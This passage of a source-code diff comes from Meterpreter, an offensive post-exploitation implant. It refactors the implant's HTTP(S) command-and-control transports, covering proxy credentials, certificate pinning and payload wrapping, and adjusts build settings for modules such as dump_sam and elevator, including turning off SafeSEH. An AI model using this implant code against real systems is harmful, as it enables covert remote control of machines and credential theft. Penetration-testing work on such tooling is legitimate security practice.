sizeof(ctx->custom_headers[0]); + return get_http_options_from_tlv(packet, &optionsTlv, targetOptions); } - return size; + return FALSE; } +static void debug_print_http_options(PSTR type, HttpRequestOptions* options) +{ + dprintf("[HTTP OPTION] - %s - Encode Flags: 0x%x", type, options->encode_flags); + dprintf("[HTTP OPTION] - %s - Headers: %S", type, options->headers); + dprintf("[HTTP OPTION] - %s - Payload Prefix Size: %u", type, options->payload_prefix_size); + dprintf("[HTTP OPTION] - %s - Payload Prefix: %s", type, options->payload_prefix); + dprintf("[HTTP OPTION] - %s - Payload Suffix Size: %u", type, options->payload_suffix_size); + dprintf("[HTTP OPTION] - %s - Payload Suffix: %s", type, options->payload_suffix); + dprintf("[HTTP OPTION] - %s - Prefix Skip: %u", type, options->payload_prefix_skip); + dprintf("[HTTP OPTION] - %s - Suffix Skip: %u", type, options->payload_suffix_skip); + dprintf("[HTTP OPTION] - %s - URI: %S", type, options->uri); + dprintf("[HTTP OPTION] - %s - UUID Cookie: %S", type, options->uuid_cookie); + dprintf("[HTTP OPTION] - %s - UUID Get: %S", type, options->uuid_get); + dprintf("[HTTP OPTION] - %s - UUID Header: %S", type, options->uuid_header); + dprintf("[HTTP OPTION] - %s - User Agent: %S", type, options->ua); +} /*! * @brief Create an HTTP(S) transport from the given settings. @@ -926,68 +1069,93 @@ static DWORD transport_get_config_size_http(Transport* t) * @param config Pointer to the HTTP configuration block. * @return Pointer to the newly configured/created HTTP(S) transport instance. */ -Transport* transport_create_http(MetsrvTransportHttp* config, LPDWORD size) +Transport* transport_create_http(Packet* packet, Tlv* c2Tlv) { - Transport* transport = (Transport*)malloc(sizeof(Transport)); - HttpTransportContext* ctx = (HttpTransportContext*)malloc(sizeof(HttpTransportContext)); + Transport* transport = (Transport*)calloc(1, sizeof(Transport)); + HttpTransportContext* ctx = (HttpTransportContext*)calloc(1, sizeof(HttpTransportContext)); - if (size) - { - *size = sizeof(MetsrvTransportHttp); - } + PWSTR url = packet_get_tlv_group_entry_value_wstring(packet, c2Tlv, TLV_TYPE_C2_URL, NULL); - dprintf("[TRANS HTTP] Creating http transport for url %S", config->common.url); + dprintf("[TRANS HTTP] Creating http transport for url %S", url); memset(transport, 0, sizeof(Transport)); memset(ctx, 0, sizeof(HttpTransportContext)); - dprintf("[TRANS HTTP] Given ua: %S", config->ua); - if (config->ua[0]) + ctx->uuid = packet_get_tlv_group_entry_value_wstring(packet, c2Tlv, TLV_TYPE_C2_UUID, NULL); + dprintf("[TRANS HTTP] Given UUID: %S", ctx->uuid); + if (ctx->uuid == NULL) { - ctx->ua = _wcsdup(config->ua); - } - dprintf("[TRANS HTTP] Given proxy host: %S", config->proxy.hostname); - if (config->proxy.hostname[0]) - { - ctx->proxy = _wcsdup(config->proxy.hostname); - } - dprintf("[TRANS HTTP] Given proxy user: %S", config->proxy.username); - if (config->proxy.username[0]) - { - ctx->proxy_user = _wcsdup(config->proxy.username); - } - dprintf("[TRANS HTTP] Given proxy pass: %S", config->proxy.password); - if (config->proxy.password[0]) - { - ctx->proxy_pass = _wcsdup(config->proxy.password); - } - ctx->ssl = wcsncmp(config->common.url, L"https", 5) == 0; + // given no UUID, so pull it out of the URL + PWCHAR queryString = wcschr(url, L'?'); + PWSTR uriEnd = (queryString ? queryString : url + wcslen(url)) - 1; + dprintf("[TRANS HTTP] Uri End: %C %S", *uriEnd, uriEnd); + if (*uriEnd == L'/') + { + --uriEnd; + } + dprintf("[TRANS HTTP] Uri End Now: %C %S", *uriEnd, uriEnd); + PWSTR uriStart = uriEnd - 1; + while (*(uriStart - 1) != L'/') + { + --uriStart; + } + dprintf("[TRANS HTTP] Uri Start: %S", uriStart); - if (config->custom_headers[0]) - { - ctx->custom_headers = _wcsdup(config->custom_headers); - if (size) + size_t uriLen = uriEnd - uriStart + 1; + dprintf("[TRANS HTTP] UUID uri length: %u", uriLen); + size_t uriSize = uriLen + 1; + + ctx->uuid = (PWSTR)calloc(sizeof(wchar_t), uriSize); + wcsncpy_s(ctx->uuid, uriSize, uriStart, uriLen); + dprintf("[TRANS HTTP] Calculated UUID: %S", ctx->uuid); + + // terminate the existing URI + *uriStart = 0; + dprintf("[TRANS HTTP] Adjusted URL 1: %S", url); + if (queryString) { - *size += (DWORD)wcslen(ctx->custom_headers) * sizeof(ctx->custom_headers[0]); + // copy over the query string if it's there + wcscpy_s(uriStart, wcslen(queryString), queryString); } + dprintf("[TRANS HTTP] Adjusted URL 2: %S", url); } - dprintf("[SERVER] Received HTTPS Hash: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", - config->ssl_cert_hash[0], config->ssl_cert_hash[1], config->ssl_cert_hash[2], config->ssl_cert_hash[3], - config->ssl_cert_hash[4], config->ssl_cert_hash[5], config->ssl_cert_hash[6], config->ssl_cert_hash[7], - config->ssl_cert_hash[8], config->ssl_cert_hash[9], config->ssl_cert_hash[10], config->ssl_cert_hash[11], - config->ssl_cert_hash[12], config->ssl_cert_hash[13], config->ssl_cert_hash[14], config->ssl_cert_hash[15], - config->ssl_cert_hash[16], config->ssl_cert_hash[17], config->ssl_cert_hash[18], config->ssl_cert_hash[19]); + ctx->proxy = packet_get_tlv_group_entry_value_wstring(packet, c2Tlv, TLV_TYPE_C2_PROXY_URL, NULL); + dprintf("[TRANS HTTP] Given proxy: %S", ctx->proxy); + + ctx->proxy_user = packet_get_tlv_group_entry_value_wstring(packet, c2Tlv, TLV_TYPE_C2_PROXY_USER, NULL); + dprintf("[TRANS HTTP] Given proxy user: %S", ctx->proxy_user); + + ctx->proxy_pass = packet_get_tlv_group_entry_value_wstring(packet, c2Tlv, TLV_TYPE_C2_PROXY_PASS, NULL); + dprintf("[TRANS HTTP] Given proxy pass: %S", ctx->proxy_pass); + ctx->ssl = wcsncmp(url, L"https", 5) == 0; // only apply the cert hash if we're given one and it's not the global value - SAFE_FREE(ctx->cert_hash); - unsigned char emptyHash[CERT_HASH_SIZE] = { 0 }; - if (memcmp(config->ssl_cert_hash, emptyHash, CERT_HASH_SIZE)) + LPBYTE certHash = packet_get_tlv_group_entry_value_raw(packet, c2Tlv, TLV_TYPE_C2_CERT_HASH, NULL); + if (certHash != NULL) { - ctx->cert_hash = (PBYTE)malloc(sizeof(BYTE) * 20); - memcpy(ctx->cert_hash, config->ssl_cert_hash, 20); + dprintf("[SERVER] Received HTTPS Hash: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", + certHash[0], certHash[1], certHash[2], certHash[3], + certHash[4], certHash[5], certHash[6], certHash[7], + certHash[8], certHash[9], certHash[10], certHash[11], + certHash[12], certHash[13], certHash[14], certHash[15], + certHash[16], certHash[17], certHash[18], certHash[19]); + + unsigned char emptyHash[CERT_HASH_SIZE] = { 0 }; + if (memcmp(certHash, emptyHash, CERT_HASH_SIZE)) + { + ctx->cert_hash = (PBYTE)calloc(1, CERT_HASH_SIZE); + memcpy_s(ctx->cert_hash, CERT_HASH_SIZE, certHash, CERT_HASH_SIZE); + } } + // default http parameters/options + get_http_options_from_tlv(packet, c2Tlv, &ctx->default_options); + + // now do the GET/POST specific stuff + get_http_options_from_config(packet, c2Tlv, TLV_TYPE_C2_GET, &ctx->get_connection.options); + get_http_options_from_config(packet, c2Tlv, TLV_TYPE_C2_POST, &ctx->post_connection.options); + ctx->create_req = get_request_winhttp; ctx->send_req = send_request_winhttp; ctx->close_req = close_request_winhttp; @@ -995,11 +1163,12 @@ Transport* transport_create_http(MetsrvTransportHttp* config, LPDWORD size) ctx->receive_response = receive_response_winhttp; ctx->read_response = read_response_winhttp; - transport->timeouts.comms = config->common.comms_timeout; - transport->timeouts.retry_total = config->common.retry_total; - transport->timeouts.retry_wait = config->common.retry_wait; + transport->timeouts.comms = packet_get_tlv_group_entry_value_uint(packet, c2Tlv, TLV_TYPE_C2_COMM_TIMEOUT); + transport->timeouts.retry_total = packet_get_tlv_group_entry_value_uint(packet, c2Tlv, TLV_TYPE_C2_RETRY_TOTAL); + transport->timeouts.retry_wait = packet_get_tlv_group_entry_value_uint(packet, c2Tlv, TLV_TYPE_C2_RETRY_WAIT); + transport->type = ctx->ssl ? METERPRETER_TRANSPORT_HTTPS : METERPRETER_TRANSPORT_HTTP; - ctx->url = transport->url = _wcsdup(config->common.url); + ctx->url = transport->url = url; transport->packet_transmit = packet_transmit_http; transport->server_dispatch = server_dispatch_http; transport->transport_init = server_init_winhttp; @@ -1007,7 +1176,12 @@ Transport* transport_create_http(MetsrvTransportHttp* config, LPDWORD size) transport->transport_destroy = transport_destroy_http; transport->ctx = ctx; transport->comms_last_packet = current_unix_timestamp(); - transport->get_config_size = transport_get_config_size_http; + transport->write_config = transport_write_http_config; + + DBG_PRINT_OPTIONS("Default", &ctx->default_options); + DBG_PRINT_OPTIONS("GET", &ctx->get_connection.options); + DBG_PRINT_OPTIONS("POST", &ctx->post_connection.options); return transport; } + diff --git a/c/meterpreter/source/metsrv/server_transport_winhttp.h b/c/meterpreter/source/metsrv/server_transport_winhttp.h index b1385353d..c93c345af 100644 --- a/c/meterpreter/source/metsrv/server_transport_winhttp.h +++ b/c/meterpreter/source/metsrv/server_transport_winhttp.h @@ -1,7 +1,7 @@ #ifndef _METERPRETER_METSRV_TRANSPORT_WINHTTP #define _METERPRETER_METSRV_TRANSPORT_WINHTTP -void transport_write_http_config(Transport* transport, MetsrvTransportHttp* config); -Transport* transport_create_http(MetsrvTransportHttp* httpConfig, LPDWORD size); +void transport_write_http_config(Transport* transport, Packet* packet, Tlv* configTlv); +Transport* transport_create_http(Packet* packet, Tlv* c2Tlv); #endif \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/server_transport_wininet.c b/c/meterpreter/source/metsrv/server_transport_wininet.c index 923820b3a..5c7523ac4 100644 --- a/c/meterpreter/source/metsrv/server_transport_wininet.c +++ b/c/meterpreter/source/metsrv/server_transport_wininet.c @@ -3,6 +3,7 @@ */ #include "metsrv.h" #include +#include "server_http_utils.h" /*! * @brief Prepare a wininet request with the given context. @@ -28,10 +29,16 @@ static HINTERNET get_request_wininet(HttpTransportContext *ctx, BOOL isGet, cons dprintf("[%s] Setting secure request flag..", direction); } + HttpConnection* conn = isGet ? &ctx->get_connection : &ctx->post_connection; + + PWSTR uri = generate_uri(ctx, conn); + do { - vdprintf("[%s] opening request on connection %x to %S", direction, ctx->connection, ctx->uri); - hReq = HttpOpenRequestW(ctx->connection, isGet ? L"GET" : L"POST", ctx->uri, NULL, NULL, NULL, flags, 0); + vdprintf("[%s] opening request on connection %x to %S", direction, conn->connection, uri); + hReq = HttpOpenRequestW(conn->connection, isGet ? L"GET" : L"POST", uri, NULL, NULL, NULL, flags, 0); + + free(uri); if (hReq == NULL) { @@ -95,28 +102,57 @@ static BOOL read_response_wininet(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, * @brief Wrapper around WinINET-specific sending functionality. * @param ctx Pointer to the current HTTP transport context. * @param hReq HTTP request handle. + * @param isGet Specifies if this request is a GET request (compared to POST). * @param buffer Pointer to the buffer to receive the data. * @param size Buffer size. * @return An indication of the result of sending the request. */ -static BOOL send_request_wininet(HttpTransportContext* ctx, HANDLE hReq, LPVOID buffer, DWORD size) +static BOOL send_request_wininet(HttpTransportContext* ctx, HANDLE hReq, HttpConnection* conn, LPVOID buffer, DWORD size) { - if (ctx->custom_headers) + PWSTR headers = generate_headers(ctx, conn); + + DWORD headerLength = headers == NULL ? 0 : -1L; + DWORD totalSize = size + conn->options.payload_prefix_size + conn->options.payload_suffix_size; + + // WININET doesn't give us the ability to write in chunks without using HttpSendRequestEx, which sucks + // because that's a one-stop-shop for the whole request that requires changing the way we do things quite + // a bit. So, in the rare cases that we're dropping back to WININET, we're going to just construct a + // buffer with all the data we need in it. + PBYTE optionalData = NULL; + + if (totalSize > 0) { - dprintf("[WINHTTP] Sending with custom headers: %S", ctx->custom_headers); - return HttpSendRequestW(hReq, ctx->custom_headers, -1L, buffer, size); + optionalData = (PBYTE)calloc(totalSize, 1); + + if (conn->options.payload_prefix_size > 0) + { + memcpy_s(optionalData, conn->options.payload_prefix_size, conn->options.payload_prefix, conn->options.payload_prefix_size); + } + if (size > 0) + { + memcpy_s(optionalData + conn->options.payload_prefix_size, size, buffer, size); + } + if (conn->options.payload_prefix_size > 0) + { + memcpy_s(optionalData + conn->options.payload_prefix_size + size, conn->options.payload_suffix_size, conn->options.payload_suffix, conn->options.payload_suffix_size); + } } - return HttpSendRequestW(hReq, NULL, 0, buffer, size); + dprintf("[WININET] Sending payload"); + BOOL result = HttpSendRequestW(hReq, headers, headerLength, optionalData, totalSize); + SAFE_FREE(optionalData); + + return result; } /*! * @brief Wrapper around WinINET-specific request response validation. * @param hReq HTTP request handle. * @param ctx The HTTP transport context. + * @param contentLength Pointer to a DWORD receiving the content length of the response. * @return An indication of the result of getting a response. */ -static DWORD validate_response_wininet(HANDLE hReq, HttpTransportContext* ctx) +static DWORD validate_response_wininet(HANDLE hReq, HttpTransportContext* ctx, LPDWORD contentLength) { DWORD statusCode; DWORD statusCodeSize = sizeof(statusCode); @@ -133,41 +169,72 @@ static DWORD validate_response_wininet(HANDLE hReq, HttpTransportContext* ctx) } } - return ERROR_SUCCESS; + DWORD size = sizeof(DWORD); + HttpQueryInfoA(hReq, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, contentLength, &size, NULL); + return GetLastError(); } -/*! - * @brief Initialise the HTTP(S) connection. - * @param transport Pointer to the transport instance. - * @return Indication of success or failure. - */ -static DWORD server_init_wininet(Transport* transport) +static DWORD server_init_connection(HttpTransportContext* ctx, HttpConnection* conn, PWSTR host, INTERNET_PORT port) { - URL_COMPONENTS bits; - wchar_t tmpHostName[URL_SIZE]; - wchar_t tmpUrlPath[URL_SIZE]; - HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; - - dprintf("[WININET] Initialising ..."); - + PWSTR userAgent = conn->options.ua ? conn->options.ua : ctx->default_options.ua; // configure proxy if (ctx->proxy) { dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy); - ctx->internet = InternetOpenW(ctx->ua, INTERNET_OPEN_TYPE_PROXY, ctx->proxy, NULL, 0); + conn->internet = InternetOpenW(userAgent, INTERNET_OPEN_TYPE_PROXY, ctx->proxy, NULL, 0); } else { - ctx->internet = InternetOpenW(ctx->ua, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); + conn->internet = InternetOpenW(userAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); } - if (!ctx->internet) + if (!conn->internet) { - dprintf("[DISPATCH] Failed InternetOpenW: %d", GetLastError()); + dprintf("[DISPATCH] Failed WinHttpOpen: %d", GetLastError()); return GetLastError(); } - dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet); + dprintf("[DISPATCH] Configured hInternet: 0x%.8x", conn->internet); + + + // Allocate the connection handle + conn->connection = InternetConnectW(conn->internet, host, port, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); + if (!conn->connection) + { + dprintf("[DISPATCH] Failed InternetConnectW: %d", GetLastError()); + return GetLastError(); + } + + if (ctx->proxy) + { + if (ctx->proxy_user) + { + InternetSetOptionW(conn->connection, INTERNET_OPTION_PROXY_USERNAME, ctx->proxy_user, (DWORD)wcslen(ctx->proxy_user)); + } + if (ctx->proxy_pass) + { + InternetSetOptionW(conn->connection, INTERNET_OPTION_PROXY_PASSWORD, ctx->proxy_pass, (DWORD)wcslen(ctx->proxy_pass)); + } + } + + dprintf("[DISPATCH] Configured hConnection: 0x%.8x", conn->connection); + + return ERROR_SUCCESS; +} + +/*! + * @brief Initialise the HTTP(S) connection. + * @param transport Pointer to the transport instance. + * @return Indication of success or failure. + */ +static DWORD server_init_wininet(Transport* transport) +{ + dprintf("[WININET] Initialising ..."); + + URL_COMPONENTS bits; + wchar_t tmpHostName[URL_SIZE]; + wchar_t tmpUrlPath[URL_SIZE]; + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; // The InternetCrackUrl method was poorly designed... ZeroMemory(tmpHostName, sizeof(tmpHostName)); @@ -183,38 +250,21 @@ static DWORD server_init_wininet(Transport* transport) bits.lpszUrlPath = tmpUrlPath; dprintf("[DISPATCH] About to crack URL: %S", transport->url); - InternetCrackUrlW(transport->url, 0, 0, &bits); + InternetCrackUrl(transport->url, 0, 0, &bits); - SAFE_FREE(ctx->uri); - ctx->uri = _wcsdup(tmpUrlPath); - transport->comms_last_packet = current_unix_timestamp(); + SAFE_FREE(ctx->default_options.uri); + ctx->default_options.uri = _wcsdup(tmpUrlPath); - dprintf("[DISPATCH] Configured URI: %S", ctx->uri); + dprintf("[DISPATCH] Configured URI: %S", ctx->default_options.uri); dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort); - // Allocate the connection handle - ctx->connection = InternetConnectW(ctx->internet, tmpHostName, bits.nPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); - if (!ctx->connection) - { - dprintf("[DISPATCH] Failed InternetConnect: %d", GetLastError()); - return GetLastError(); - } + DWORD result = server_init_connection(ctx, &ctx->get_connection, tmpHostName, bits.nPort); + result = server_init_connection(ctx, &ctx->post_connection, tmpHostName, bits.nPort); - if (ctx->proxy) - { - if (ctx->proxy_user) - { - InternetSetOptionW(ctx->connection, INTERNET_OPTION_PROXY_USERNAME, ctx->proxy_user, (DWORD)wcslen(ctx->proxy_user)); - } - if (ctx->proxy_pass) - { - InternetSetOptionW(ctx->connection, INTERNET_OPTION_PROXY_PASSWORD, ctx->proxy_pass, (DWORD)wcslen(ctx->proxy_pass)); - } - } + transport->comms_last_packet = current_unix_timestamp(); - dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection); + return result; - return ERROR_SUCCESS; } /*! diff --git a/c/meterpreter/vs-configs/vs2022.vsconfig b/c/meterpreter/vs-configs/vs2022.vsconfig new file mode 100644 index 000000000..80d4f1e84 --- /dev/null +++ b/c/meterpreter/vs-configs/vs2022.vsconfig @@ -0,0 +1,36 @@ +{ + "version": "1.0", + "components": [ + "Microsoft.VisualStudio.Component.CoreEditor", + "Microsoft.VisualStudio.Workload.CoreEditor", + "Microsoft.VisualStudio.Component.Roslyn.Compiler", + "Microsoft.Component.MSBuild", + "Microsoft.VisualStudio.Component.TextTemplating", + "Microsoft.VisualStudio.Component.NuGet", + "Microsoft.VisualStudio.Component.Debugger.JustInTime", + "Microsoft.VisualStudio.Component.IntelliCode", + "Microsoft.VisualStudio.Component.VC.CoreIde", + "Microsoft.VisualStudio.Component.VC.Tools.x86.x64", + "Microsoft.VisualStudio.Component.Graphics.Tools", + "Microsoft.VisualStudio.Component.VC.DiagnosticTools", + "Microsoft.VisualStudio.Component.Windows11SDK.26100", + "Microsoft.VisualStudio.Component.VC.ATL", + "Microsoft.VisualStudio.Component.VC.Redist.14.Latest", + "Microsoft.VisualStudio.ComponentGroup.NativeDesktop.Core", + "Microsoft.VisualStudio.Component.Windows11Sdk.WindowsPerformanceToolkit", + "Microsoft.VisualStudio.Component.CppBuildInsights", + "Microsoft.VisualStudio.ComponentGroup.WebToolsExtensions.CMake", + "Microsoft.VisualStudio.Component.VC.CMake.Project", + "Microsoft.VisualStudio.Component.VC.TestAdapterForBoostTest", + "Microsoft.VisualStudio.Component.VC.TestAdapterForGoogleTest", + "Microsoft.VisualStudio.Component.VC.ASAN", + "Microsoft.VisualStudio.Component.Vcpkg", + "Microsoft.VisualStudio.Component.VC.v141.x86.x64", + "Microsoft.Component.VC.Runtime.UCRTSDK", + "Microsoft.VisualStudio.Component.VC.Tools.ARM64EC", + "Microsoft.VisualStudio.Component.VC.Tools.ARM64", + "Microsoft.VisualStudio.Workload.NativeDesktop", + "Microsoft.VisualStudio.Component.WinXP" + ], + "extensions": [] +} diff --git a/c/meterpreter/workspace/CMakeLists.txt b/c/meterpreter/workspace/CMakeLists.txt index 21b9b1d16..d6522e19a 100644 --- a/c/meterpreter/workspace/CMakeLists.txt +++ b/c/meterpreter/workspace/CMakeLists.txt @@ -244,3 +244,4 @@ set( foreach(MET_PROJECT ${MET_PROJECTS}) add_subdirectory(${MET_PROJECT}) endforeach() + diff --git a/c/meterpreter/workspace/CMakeListsFuncs.txt b/c/meterpreter/workspace/CMakeListsFuncs.txt index 76f378861..58b5a9cee 100644 --- a/c/meterpreter/workspace/CMakeListsFuncs.txt +++ b/c/meterpreter/workspace/CMakeListsFuncs.txt @@ -13,3 +13,12 @@ function(copyoutput) add_custom_command(TARGET ${ARGV0} POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy $ ${ARGV1}) endfunction() + +function(add_rdi) + enable_language(ASM_MASM) + if("${CMAKE_SYSTEM_PROCESSOR}" MATCHES "(x86_64|amd64|AMD64)") + set(SRC_FILES ${SRC_FILES} ../../source/ReflectiveDLLInjection/dll/src/GateTrampoline64.asm PARENT_SCOPE) + elseif("${CMAKE_SYSTEM_PROCESSOR}" MATCHES "(i386|i686)") + set(SRC_FILES ${SRC_FILES} ../../source/ReflectiveDLLInjection/dll/src/GateTrampoline32.asm PARENT_SCOPE) + endif() +endfunction() diff --git a/c/meterpreter/workspace/ReflectiveDLLInjection/CMakeLists.txt b/c/meterpreter/workspace/ReflectiveDLLInjection/CMakeLists.txt index f94f03797..dc47d0208 100644 --- a/c/meterpreter/workspace/ReflectiveDLLInjection/CMakeLists.txt +++ b/c/meterpreter/workspace/ReflectiveDLLInjection/CMakeLists.txt @@ -3,17 +3,34 @@ cmake_minimum_required(VERSION 3.15.7 FATAL_ERROR) set(PROJECT_NAME ReflectiveDLLInjection) project(${PROJECT_NAME} ASM) +set(ASM_SUFFIX "s") +set(BITS "64") +if(MSVC) + enable_language(ASM_MASM) + set(ASM_SUFFIX "asm") +endif() + +message(CMAKE_GENERATOR_PLATFORM="${CMAKE_GENERATOR_PLATFORM}") set(SRC_DIR ../../source/ReflectiveDLLInjection/dll/src) -if("${CMAKE_SYSTEM_PROCESSOR}" MATCHES "(x86_64|amd64)") - set(SRC_FILES ${SRC_DIR}/GateTrampoline64.s) -elseif("${CMAKE_SYSTEM_PROCESSOR}" MATCHES "(i386|i686)") - set(SRC_FILES ${SRC_DIR}/GateTrampoline32.s) +# On windows, cmake sets the CMAKE_GENERATOR_PLATFORM value to the target +# arch that we're building to, so we can rely on that. In docker, we can't +# because the value isn't set. +if(MSVC AND "${CMAKE_GENERATOR_PLATFORM}" STREQUAL "Win32") + set(BITS "32") +elseif(NOT MSVC AND "${CMAKE_SYSTEM_PROCESSOR}" MATCHES "(i386|i686)") + set(BITS "32") endif() +set(SRC_FILES "${SRC_DIR}/GateTrampoline${BITS}.${ASM_SUFFIX}") + set_property(DIRECTORY PROPERTY COMPILE_DEFINITIONS) set_property(DIRECTORY PROPERTY INCLUDE_DIRECTORIES) set(CMAKE_ASM_FLAGS_RELEASE_INIT "") set(CMAKE_ASM_FLAGS_RELEASE "") add_library(${PROJECT_NAME} ${SRC_FILES}) + +if(MSVC) + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") +endif() diff --git a/c/meterpreter/workspace/ReflectiveDLLInjection/ReflectiveDLLInjection.vcxproj b/c/meterpreter/workspace/ReflectiveDLLInjection/ReflectiveDLLInjection.vcxproj index dce0c22b2..78865e13d 100644 --- a/c/meterpreter/workspace/ReflectiveDLLInjection/ReflectiveDLLInjection.vcxproj +++ b/c/meterpreter/workspace/ReflectiveDLLInjection/ReflectiveDLLInjection.vcxproj @@ -201,12 +201,10 @@ - true - true + true - true - true + true @@ -216,4 +214,4 @@ - \ No newline at end of file + diff --git a/c/meterpreter/workspace/dump_sam/CMakeLists.txt b/c/meterpreter/workspace/dump_sam/CMakeLists.txt index d69b3ded8..31e1f5224 100644 --- a/c/meterpreter/workspace/dump_sam/CMakeLists.txt +++ b/c/meterpreter/workspace/dump_sam/CMakeLists.txt @@ -28,6 +28,7 @@ set(LINK_LIBS psapi rpcrt4) target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/dump_sam/dump_sam.vcxproj b/c/meterpreter/workspace/dump_sam/dump_sam.vcxproj index bebb0d00d..cded91968 100755 --- a/c/meterpreter/workspace/dump_sam/dump_sam.vcxproj +++ b/c/meterpreter/workspace/dump_sam/dump_sam.vcxproj @@ -73,6 +73,11 @@ + + false + false + false + $(Configuration)\$(Platform)\ $(Configuration)\$(Platform)\ @@ -127,6 +132,7 @@ false false $(ProjectDir)../../source/dump_sam/dump_sam.def + /ignore:4070 %(AdditionalOptions) No @@ -162,6 +168,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(TargetName) false DllMain $(ProjectDir)../../source/dump_sam/dump_sam.def + /ignore:4070 %(AdditionalOptions) No @@ -200,6 +207,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" false false $(ProjectDir)../../source/dump_sam/dump_sam.def + /ignore:4070 %(AdditionalOptions) No @@ -235,6 +243,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(TargetName) false DllMain $(ProjectDir)../../source/dump_sam/dump_sam.def + /ignore:4070 %(AdditionalOptions) No @@ -258,17 +267,14 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true + true - Document - true - true + true - \ No newline at end of file + diff --git a/c/meterpreter/workspace/elevator/CMakeLists.txt b/c/meterpreter/workspace/elevator/CMakeLists.txt index e18964f3f..627257818 100644 --- a/c/meterpreter/workspace/elevator/CMakeLists.txt +++ b/c/meterpreter/workspace/elevator/CMakeLists.txt @@ -27,6 +27,7 @@ set_source_files_properties(${MOD_DEF_DIR}/plugin.def PROPERTIES HEADER_FILE_ONL target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/elevator/elevator.vcxproj b/c/meterpreter/workspace/elevator/elevator.vcxproj index 749cb53ac..1f751c4de 100644 --- a/c/meterpreter/workspace/elevator/elevator.vcxproj +++ b/c/meterpreter/workspace/elevator/elevator.vcxproj @@ -370,16 +370,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - Document - true - true - ASSEMBLE + true - true - true - true + true @@ -389,4 +383,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_bofloader/CMakeLists.txt b/c/meterpreter/workspace/ext_server_bofloader/CMakeLists.txt index fbd48fd03..6e17aa6a3 100644 --- a/c/meterpreter/workspace/ext_server_bofloader/CMakeLists.txt +++ b/c/meterpreter/workspace/ext_server_bofloader/CMakeLists.txt @@ -42,6 +42,7 @@ endif() target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/ext_server_bofloader/ext_server_bofloader.vcxproj b/c/meterpreter/workspace/ext_server_bofloader/ext_server_bofloader.vcxproj index 7f564180d..27a5eddac 100644 --- a/c/meterpreter/workspace/ext_server_bofloader/ext_server_bofloader.vcxproj +++ b/c/meterpreter/workspace/ext_server_bofloader/ext_server_bofloader.vcxproj @@ -39,14 +39,10 @@ - true - true - true + true - true - true - true + true @@ -491,4 +487,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_espia/CMakeLists.txt b/c/meterpreter/workspace/ext_server_espia/CMakeLists.txt index a89824aee..68266d623 100644 --- a/c/meterpreter/workspace/ext_server_espia/CMakeLists.txt +++ b/c/meterpreter/workspace/ext_server_espia/CMakeLists.txt @@ -30,8 +30,10 @@ endif() set(LINK_LIBS jpeg) target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) + if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj b/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj index f4ac0d194..cca1e25e2 100644 --- a/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj +++ b/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj @@ -465,14 +465,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true - true + true - true - true - true + true @@ -482,4 +478,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_extapi/CMakeLists.txt b/c/meterpreter/workspace/ext_server_extapi/CMakeLists.txt index cd6b8f713..f40c65c40 100644 --- a/c/meterpreter/workspace/ext_server_extapi/CMakeLists.txt +++ b/c/meterpreter/workspace/ext_server_extapi/CMakeLists.txt @@ -46,6 +46,7 @@ endif() target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} 